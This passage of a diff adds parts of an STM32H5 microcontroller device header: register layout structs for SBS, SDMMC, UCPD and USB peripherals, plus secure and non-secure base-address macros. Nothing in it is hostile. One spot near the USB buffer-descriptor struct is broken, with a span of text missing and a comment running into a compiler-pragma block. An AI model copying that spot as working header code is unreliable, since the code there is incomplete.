SBS Memory Erase Status Register, Address offset: 0x108 */ + uint32_t RESERVED7; /*!< RESERVED7, Address offset: 0x10C */ + __IO uint32_t CCCSR; /*!< SBS Compensation Cell Control & Status Register, Address offset: 0x110 */ + __IO uint32_t CCVALR; /*!< SBS Compensation Cell Value Register, Address offset: 0x114 */ + __IO uint32_t CCSWCR; /*!< SBS Compensation Cell for I/Os sw code Register, Address offset: 0x118 */ + __IO uint32_t RESERVED8; /*!< RESERVED8, Address offset: 0x11C */ + __IO uint32_t CFGR2; /*!< SBS Class B Register, Address offset: 0x120 */ + uint32_t RESERVED9[8]; /*!< RESERVED9, Address offset: 0x124 - 0x140 */ + __IO uint32_t CNSLCKR; /*!< SBS CPU Non-secure Lock Register, Address offset: 0x144 */ + __IO uint32_t CSLCKR; /*!< SBS CPU Secure Lock Register, Address offset: 0x148 */ + __IO uint32_t ECCNMIR; /*!< SBS FLITF ECC NMI MASK Register, Address offset: 0x14C */ +} SBS_TypeDef; + +/** + * @brief Secure digital input/output Interface + */ +typedef struct +{ + __IO uint32_t POWER; /*!< SDMMC power control register, Address offset: 0x00 */ + __IO uint32_t CLKCR; /*!< SDMMC clock control register, Address offset: 0x04 */ + __IO uint32_t ARG; /*!< SDMMC argument register, Address offset: 0x08 */ + __IO uint32_t CMD; /*!< SDMMC command register, Address offset: 0x0C */ + __I uint32_t RESPCMD; /*!< SDMMC command response register, Address offset: 0x10 */ + __I uint32_t RESP1; /*!< SDMMC response 1 register, Address offset: 0x14 */ + __I uint32_t RESP2; /*!< SDMMC response 2 register, Address offset: 0x18 */ + __I uint32_t RESP3; /*!< SDMMC response 3 register, Address offset: 0x1C */ + __I uint32_t RESP4; /*!< SDMMC response 4 register, Address offset: 0x20 */ + __IO uint32_t DTIMER; /*!< SDMMC data timer register, Address offset: 0x24 */ + __IO uint32_t DLEN; /*!< SDMMC data length register, Address offset: 0x28 */ + __IO uint32_t DCTRL; /*!< SDMMC data control register, Address offset: 0x2C */ + __I uint32_t DCOUNT; /*!< SDMMC data counter register, Address offset: 0x30 */ + __I uint32_t STA; /*!< SDMMC status register, Address offset: 0x34 */ + __IO uint32_t ICR; /*!< SDMMC interrupt clear register, Address offset: 0x38 */ + __IO uint32_t MASK; /*!< SDMMC mask register, Address offset: 0x3C */ + __IO uint32_t ACKTIME; /*!< SDMMC Acknowledgement timer register, Address offset: 0x40 */ + uint32_t RESERVED0[3]; /*!< Reserved, 0x44 - 0x4C - 0x4C */ + __IO uint32_t IDMACTRL; /*!< SDMMC DMA control register, Address offset: 0x50 */ + __IO uint32_t IDMABSIZE; /*!< SDMMC DMA buffer size register, Address offset: 0x54 */ + __IO uint32_t IDMABASER; /*!< SDMMC DMA buffer base address register, Address offset: 0x58 */ + uint32_t RESERVED1[2]; /*!< Reserved, 0x60 */ + __IO uint32_t IDMALAR; /*!< SDMMC DMA linked list address register, Address offset: 0x64 */ + __IO uint32_t IDMABAR; /*!< SDMMC DMA linked list memory base register,Address offset: 0x68 */ + uint32_t RESERVED2[5]; /*!< Reserved, 0x6C-0x7C */ + __IO uint32_t FIFO; /*!< SDMMC data FIFO register, Address offset: 0x80 */ +} SDMMC_TypeDef; + + + +/** + * @brief Delay Block DLYB + */ + +typedef struct +{ + __IO uint32_t CR; /*!< DELAY BLOCK control register, Address offset: 0x00 */ + __IO uint32_t CFGR; /*!< DELAY BLOCK configuration register, Address offset: 0x04 */ +} DLYB_TypeDef; + +/** + * @brief UCPD + */ +typedef struct +{ + __IO uint32_t CFG1; /*!< UCPD configuration register 1, Address offset: 0x00 */ + __IO uint32_t CFG2; /*!< UCPD configuration register 2, Address offset: 0x04 */ + __IO uint32_t CFG3; /*!< UCPD configuration register 3, Address offset: 0x08 */ + __IO uint32_t CR; /*!< UCPD control register, Address offset: 0x0C */ + __IO uint32_t IMR; /*!< UCPD interrupt mask register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< UCPD status register, Address offset: 0x14 */ + __IO uint32_t ICR; /*!< UCPD interrupt flag clear register Address offset: 0x18 */ + __IO uint32_t TX_ORDSET; /*!< UCPD Tx ordered set type register, Address offset: 0x1C */ + __IO uint32_t TX_PAYSZ; /*!< UCPD Tx payload size register, Address offset: 0x20 */ + __IO uint32_t TXDR; /*!< UCPD Tx data register, Address offset: 0x24 */ + __IO uint32_t RX_ORDSET; /*!< UCPD Rx ordered set type register, Address offset: 0x28 */ + __IO uint32_t RX_PAYSZ; /*!< UCPD Rx payload size register, Address offset: 0x2C */ + __IO uint32_t RXDR; /*!< UCPD Rx data register, Address offset: 0x30 */ + __IO uint32_t RX_ORDEXT1; /*!< UCPD Rx ordered set extension 1 register, Address offset: 0x34 */ + __IO uint32_t RX_ORDEXT2; /*!< UCPD Rx ordered set extension 2 register, Address offset: 0x38 */ + uint32_t RESERVED[949];/*!< Reserved, Address offset: 0x3C -- 0x3F0 */ + __IO uint32_t IPVER; /*!< UCPD IP version register, Address offset: 0x3F4 */ + __IO uint32_t IPID; /*!< UCPD IP Identification register, Address offset: 0x3F8 */ + __IO uint32_t MID; /*!< UCPD Magic Identification register, Address offset: 0x3FC */ +} UCPD_TypeDef; + +/** + * @brief Universal Serial Bus Full Speed Dual Role Device + */ +typedef struct +{ + __IO uint32_t CHEP0R; /*!< USB Channel/Endpoint 0 register, Address offset: 0x00 */ + __IO uint32_t CHEP1R; /*!< USB Channel/Endpoint 1 register, Address offset: 0x04 */ + __IO uint32_t CHEP2R; /*!< USB Channel/Endpoint 2 register, Address offset: 0x08 */ + __IO uint32_t CHEP3R; /*!< USB Channel/Endpoint 3 register, Address offset: 0x0C */ + __IO uint32_t CHEP4R; /*!< USB Channel/Endpoint 4 register, Address offset: 0x10 */ + __IO uint32_t CHEP5R; /*!< USB Channel/Endpoint 5 register, Address offset: 0x14 */ + __IO uint32_t CHEP6R; /*!< USB Channel/Endpoint 6 register, Address offset: 0x18 */ + __IO uint32_t CHEP7R; /*!< USB Channel/Endpoint 7 register, Address offset: 0x1C */ + __IO uint32_t RESERVED0[8]; /*!< Reserved, */ + __IO uint32_t CNTR; /*!< Control register, Address offset: 0x40 */ + __IO uint32_t ISTR; /*!< Interrupt status register, Address offset: 0x44 */ + __IO uint32_t FNR; /*!< Frame number register, Address offset: 0x48 */ + __IO uint32_t DADDR; /*!< Device address register, Address offset: 0x4C */ + __IO uint32_t RESERVED1; /*!< Reserved */ + __IO uint32_t LPMCSR; /*!< LPM Control and Status register, Address offset: 0x54 */ + __IO uint32_t BCDR; /*!< Battery Charging detector register, Address offset: 0x58 */ +} USB_DRD_TypeDef; + +/** + * @brief Universal Serial Bus PacketMemoryArea Buffer Descriptor Table + */ +typedef struct +{ + __IO uint32_t TXBD; /*!= 6010050) + #pragma clang diagnostic pop +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning restore +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Address Map ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_peripheralAddr + * @{ + */ + +/* Internal SRAMs size */ + +#define SRAM1_SIZE (0x20000UL) /*!< SRAM1=128k */ +#define SRAM2_SIZE (0x14000UL) /*!< SRAM2=80k */ +#define SRAM3_SIZE (0x10000UL) /*!< SRAM3=64k */ +#define BKPSRAM_SIZE (0x00800UL) /*!< BKPSRAM=2k */ + +/* Flash, Peripheral and internal SRAMs base addresses - Non secure */ +#define FLASH_BASE_NS (0x08000000UL) /*!< FLASH (up to 512 KB) non-secure base address */ +#define SRAM1_BASE_NS (0x20000000UL) /*!< SRAM1 (128 KB) non-secure base address */ +#define SRAM2_BASE_NS (0x20020000UL) /*!< SRAM2 (80 KB) non-secure base address */ +#define SRAM3_BASE_NS (0x20034000UL) /*!< SRAM3 (64 KB) non-secure base address */ +#define PERIPH_BASE_NS (0x40000000UL) /*!< Peripheral non-secure base address */ + +/* External memories base addresses - Not aliased */ +#define FMC_BASE (0x60000000UL) /*!< FMC base address */ +#define OCTOSPI1_BASE (0x90000000UL) /*!< OCTOSPI1 memories accessible over AHB base address */ + +#define FMC_BANK1 FMC_BASE +#define FMC_BANK1_1 FMC_BANK1 +#define FMC_BANK1_2 (FMC_BANK1 + 0x04000000UL) /*!< FMC Memory Bank1 for SRAM, NOR and PSRAM */ +#define FMC_BANK1_3 (FMC_BANK1 + 0x08000000UL) +#define FMC_BANK1_4 (FMC_BANK1 + 0x0C000000UL) +#define FMC_BANK3 (FMC_BASE + 0x20000000UL) /*!< FMC Memory Bank3 for NAND */ +#define FMC_SDRAM_BANK_1 (FMC_BASE + 0x60000000UL) /*!< FMC Memory SDRAM Bank1 */ +#define FMC_SDRAM_BANK_2 (FMC_BASE + 0x70000000UL) /*!< FMC Memory SDRAM Bank2 */ + + +/* Peripheral memory map - Non secure */ +#define APB1PERIPH_BASE_NS PERIPH_BASE_NS +#define APB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00010000UL) +#define AHB1PERIPH_BASE_NS (PERIPH_BASE_NS + 0x00020000UL) +#define AHB2PERIPH_BASE_NS (PERIPH_BASE_NS + 0x02020000UL) +#define APB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04000000UL) +#define AHB3PERIPH_BASE_NS (PERIPH_BASE_NS + 0x04020000UL) +#define AHB4PERIPH_BASE_NS (PERIPH_BASE_NS + 0x06000000UL) + +/*!< APB1 Non secure peripherals */ +#define TIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x0000UL) +#define TIM3_BASE_NS (APB1PERIPH_BASE_NS + 0x0400UL) +#define TIM4_BASE_NS (APB1PERIPH_BASE_NS + 0x0800UL) +#define TIM5_BASE_NS (APB1PERIPH_BASE_NS + 0x0C00UL) +#define TIM6_BASE_NS (APB1PERIPH_BASE_NS + 0x1000UL) +#define TIM7_BASE_NS (APB1PERIPH_BASE_NS + 0x1400UL) +#define TIM12_BASE_NS (APB1PERIPH_BASE_NS + 0x1800UL) +#define WWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x2C00UL) +#define IWDG_BASE_NS (APB1PERIPH_BASE_NS + 0x3000UL) +#define SPI2_BASE_NS (APB1PERIPH_BASE_NS + 0x3800UL) +#define SPI3_BASE_NS (APB1PERIPH_BASE_NS + 0x3C00UL) +#define USART2_BASE_NS (APB1PERIPH_BASE_NS + 0x4400UL) +#define USART3_BASE_NS (APB1PERIPH_BASE_NS + 0x4800UL) +#define UART4_BASE_NS (APB1PERIPH_BASE_NS + 0x4C00UL) +#define UART5_BASE_NS (APB1PERIPH_BASE_NS + 0x5000UL) +#define I2C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5400UL) +#define I2C2_BASE_NS (APB1PERIPH_BASE_NS + 0x5800UL) +#define I3C1_BASE_NS (APB1PERIPH_BASE_NS + 0x5C00UL) +#define CRS_BASE_NS (APB1PERIPH_BASE_NS + 0x6000UL) +#define USART6_BASE_NS (APB1PERIPH_BASE_NS + 0x6400UL) +#define CEC_BASE_NS (APB1PERIPH_BASE_NS + 0x7000UL) +#define DTS_BASE_NS (APB1PERIPH_BASE_NS + 0x8C00UL) +#define LPTIM2_BASE_NS (APB1PERIPH_BASE_NS + 0x9400UL) +#define FDCAN1_BASE_NS (APB1PERIPH_BASE_NS + 0xA400UL) +#define FDCAN_CONFIG_BASE_NS (APB1PERIPH_BASE_NS + 0xA500UL) +#define SRAMCAN_BASE_NS (APB1PERIPH_BASE_NS + 0xAC00UL) +#define FDCAN2_BASE_NS (APB1PERIPH_BASE_NS + 0xA800UL) +#define UCPD1_BASE_NS (APB1PERIPH_BASE_NS + 0xDC00UL) + +/*!< APB2 Non secure peripherals */ +#define TIM1_BASE_NS (APB2PERIPH_BASE_NS + 0x2C00UL) +#define SPI1_BASE_NS (APB2PERIPH_BASE_NS + 0x3000UL) +#define TIM8_BASE_NS (APB2PERIPH_BASE_NS + 0x3400UL) +#define USART1_BASE_NS (APB2PERIPH_BASE_NS + 0x3800UL) +#define TIM15_BASE_NS (APB2PERIPH_BASE_NS + 0x4000UL) +#define SPI4_BASE_NS (APB2PERIPH_BASE_NS + 0x4C00UL) +#define USB_DRD_BASE_NS (APB2PERIPH_BASE_NS + 0x6000UL) +#define USB_DRD_PMAADDR_NS (APB2PERIPH_BASE_NS + 0x6400UL) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_BASE_NS AHB1PERIPH_BASE_NS +#define GPDMA2_BASE_NS (AHB1PERIPH_BASE_NS + 0x01000UL) +#define FLASH_R_BASE_NS (AHB1PERIPH_BASE_NS + 0x02000UL) +#define CRC_BASE_NS (AHB1PERIPH_BASE_NS + 0x03000UL) +#define RAMCFG_BASE_NS (AHB1PERIPH_BASE_NS + 0x06000UL) +#define ICACHE_BASE_NS (AHB1PERIPH_BASE_NS + 0x10400UL) +#define DCACHE1_BASE_NS (AHB1PERIPH_BASE_NS + 0x11400UL) +#define GTZC_TZSC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12400UL) +#define GTZC_TZIC1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12800UL) +#define GTZC_MPCBB1_BASE_NS (AHB1PERIPH_BASE_NS + 0x12C00UL) +#define GTZC_MPCBB2_BASE_NS (AHB1PERIPH_BASE_NS + 0x13000UL) +#define GTZC_MPCBB3_BASE_NS (AHB1PERIPH_BASE_NS + 0x13400UL) +#define BKPSRAM_BASE_NS (AHB1PERIPH_BASE_NS + 0x16400UL) + +#define GPDMA1_Channel0_BASE_NS (GPDMA1_BASE_NS + 0x0050UL) +#define GPDMA1_Channel1_BASE_NS (GPDMA1_BASE_NS + 0x00D0UL) +#define GPDMA1_Channel2_BASE_NS (GPDMA1_BASE_NS + 0x0150UL) +#define GPDMA1_Channel3_BASE_NS (GPDMA1_BASE_NS + 0x01D0UL) +#define GPDMA1_Channel4_BASE_NS (GPDMA1_BASE_NS + 0x0250UL) +#define GPDMA1_Channel5_BASE_NS (GPDMA1_BASE_NS + 0x02D0UL) +#define GPDMA1_Channel6_BASE_NS (GPDMA1_BASE_NS + 0x0350UL) +#define GPDMA1_Channel7_BASE_NS (GPDMA1_BASE_NS + 0x03D0UL) +#define GPDMA2_Channel0_BASE_NS (GPDMA2_BASE_NS + 0x0050UL) +#define GPDMA2_Channel1_BASE_NS (GPDMA2_BASE_NS + 0x00D0UL) +#define GPDMA2_Channel2_BASE_NS (GPDMA2_BASE_NS + 0x0150UL) +#define GPDMA2_Channel3_BASE_NS (GPDMA2_BASE_NS + 0x01D0UL) +#define GPDMA2_Channel4_BASE_NS (GPDMA2_BASE_NS + 0x0250UL) +#define GPDMA2_Channel5_BASE_NS (GPDMA2_BASE_NS + 0x02D0UL) +#define GPDMA2_Channel6_BASE_NS (GPDMA2_BASE_NS + 0x0350UL) +#define GPDMA2_Channel7_BASE_NS (GPDMA2_BASE_NS + 0x03D0UL) + +#define RAMCFG_SRAM1_BASE_NS (RAMCFG_BASE_NS) +#define RAMCFG_SRAM2_BASE_NS (RAMCFG_BASE_NS + 0x0040UL) +#define RAMCFG_SRAM3_BASE_NS (RAMCFG_BASE_NS + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_NS (RAMCFG_BASE_NS + 0x0100UL) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_BASE_NS (AHB2PERIPH_BASE_NS + 0x00000UL) +#define GPIOB_BASE_NS (AHB2PERIPH_BASE_NS + 0x00400UL) +#define GPIOC_BASE_NS (AHB2PERIPH_BASE_NS + 0x00800UL) +#define GPIOD_BASE_NS (AHB2PERIPH_BASE_NS + 0x00C00UL) +#define GPIOE_BASE_NS (AHB2PERIPH_BASE_NS + 0x01000UL) +#define GPIOF_BASE_NS (AHB2PERIPH_BASE_NS + 0x01400UL) +#define GPIOG_BASE_NS (AHB2PERIPH_BASE_NS + 0x01800UL) +#define GPIOH_BASE_NS (AHB2PERIPH_BASE_NS + 0x01C00UL) +#define ADC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08000UL) +#define ADC2_BASE_NS (AHB2PERIPH_BASE_NS + 0x08100UL) +#define ADC12_COMMON_BASE_NS (AHB2PERIPH_BASE_NS + 0x08300UL) +#define DAC1_BASE_NS (AHB2PERIPH_BASE_NS + 0x08400UL) +#define DCMI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C000UL) +#define PSSI_BASE_NS (AHB2PERIPH_BASE_NS + 0x0C400UL) +#define AES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0000UL) +#define HASH_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0400UL) +#define HASH_DIGEST_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0710UL) +#define RNG_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0800UL) +#define SAES_BASE_NS (AHB2PERIPH_BASE_NS + 0xA0C00UL) +#define PKA_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2000UL) +#define PKA_RAM_BASE_NS (AHB2PERIPH_BASE_NS + 0xA2400UL) + +/*!< APB3 Non secure peripherals */ +#define SBS_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define I3C2_BASE_NS (APB3PERIPH_BASE_NS + 0x3000UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB3 Non secure peripherals */ +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define DEBUG_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) + +/*!< AHB4 Non secure peripherals */ +#define OTFDEC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x5000UL) +#define OTFDEC1_REGION1_BASE_NS (OTFDEC1_BASE_NS + 0x20UL) +#define OTFDEC1_REGION2_BASE_NS (OTFDEC1_BASE_NS + 0x50UL) +#define OTFDEC1_REGION3_BASE_NS (OTFDEC1_BASE_NS + 0x80UL) +#define OTFDEC1_REGION4_BASE_NS (OTFDEC1_BASE_NS + 0xB0UL) +#define SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8400UL) +#define FMC_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_NS (AHB4PERIPH_BASE_NS + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 512 KB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (128 KB) secure base address */ +#define SRAM2_BASE_S (0x30020000UL) /*!< SRAM2 (80 KB) secure base address */ +#define SRAM3_BASE_S (0x30034000UL) /*!< SRAM3 (64 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04020000UL) +#define AHB4PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) + +/*!< APB1 secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define TIM12_BASE_S (APB1PERIPH_BASE_S + 0x1800UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define SPI3_BASE_S (APB1PERIPH_BASE_S + 0x3C00UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I3C1_BASE_S (APB1PERIPH_BASE_S + 0x5C00UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define CEC_BASE_S (APB1PERIPH_BASE_S + 0x7000UL) +#define DTS_BASE_S (APB1PERIPH_BASE_S + 0x8C00UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define FDCAN2_BASE_S (APB1PERIPH_BASE_S + 0xA800UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define SPI4_BASE_S (APB2PERIPH_BASE_S + 0x4C00UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x6000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x6400UL) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_BASE_S AHB1PERIPH_BASE_S +#define GPDMA2_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA2_Channel0_BASE_S (GPDMA2_BASE_S + 0x0050UL) +#define GPDMA2_Channel1_BASE_S (GPDMA2_BASE_S + 0x00D0UL) +#define GPDMA2_Channel2_BASE_S (GPDMA2_BASE_S + 0x0150UL) +#define GPDMA2_Channel3_BASE_S (GPDMA2_BASE_S + 0x01D0UL) +#define GPDMA2_Channel4_BASE_S (GPDMA2_BASE_S + 0x0250UL) +#define GPDMA2_Channel5_BASE_S (GPDMA2_BASE_S + 0x02D0UL) +#define GPDMA2_Channel6_BASE_S (GPDMA2_BASE_S + 0x0350UL) +#define GPDMA2_Channel7_BASE_S (GPDMA2_BASE_S + 0x03D0UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) + +/*!< AHB2 secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DAC1_BASE_S (AHB2PERIPH_BASE_S + 0x08400UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define AES_BASE_S (AHB2PERIPH_BASE_S + 0xA0000UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define SAES_BASE_S (AHB2PERIPH_BASE_S + 0xA0C00UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) + +/*!< APB3 secure peripherals */ +#define SBS_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define I3C2_BASE_S (APB3PERIPH_BASE_S + 0x3000UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB3 secure peripherals */ +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define DEBUG_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) + +/*!< AHB4 secure peripherals */ +#define OTFDEC1_BASE_S (AHB4PERIPH_BASE_S + 0x5000UL) +#define OTFDEC1_REGION1_BASE_S (OTFDEC1_BASE_S + 0x20UL) +#define OTFDEC1_REGION2_BASE_S (OTFDEC1_BASE_S + 0x50UL) +#define OTFDEC1_REGION3_BASE_S (OTFDEC1_BASE_S + 0x80UL) +#define OTFDEC1_REGION4_BASE_S (OTFDEC1_BASE_S + 0xB0UL) +#define SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8000UL) +#define DLYB_SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8400UL) +#define FMC_R_BASE_S (AHB4PERIPH_BASE_S + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_S (AHB4PERIPH_BASE_S + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_S (AHB4PERIPH_BASE_S + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 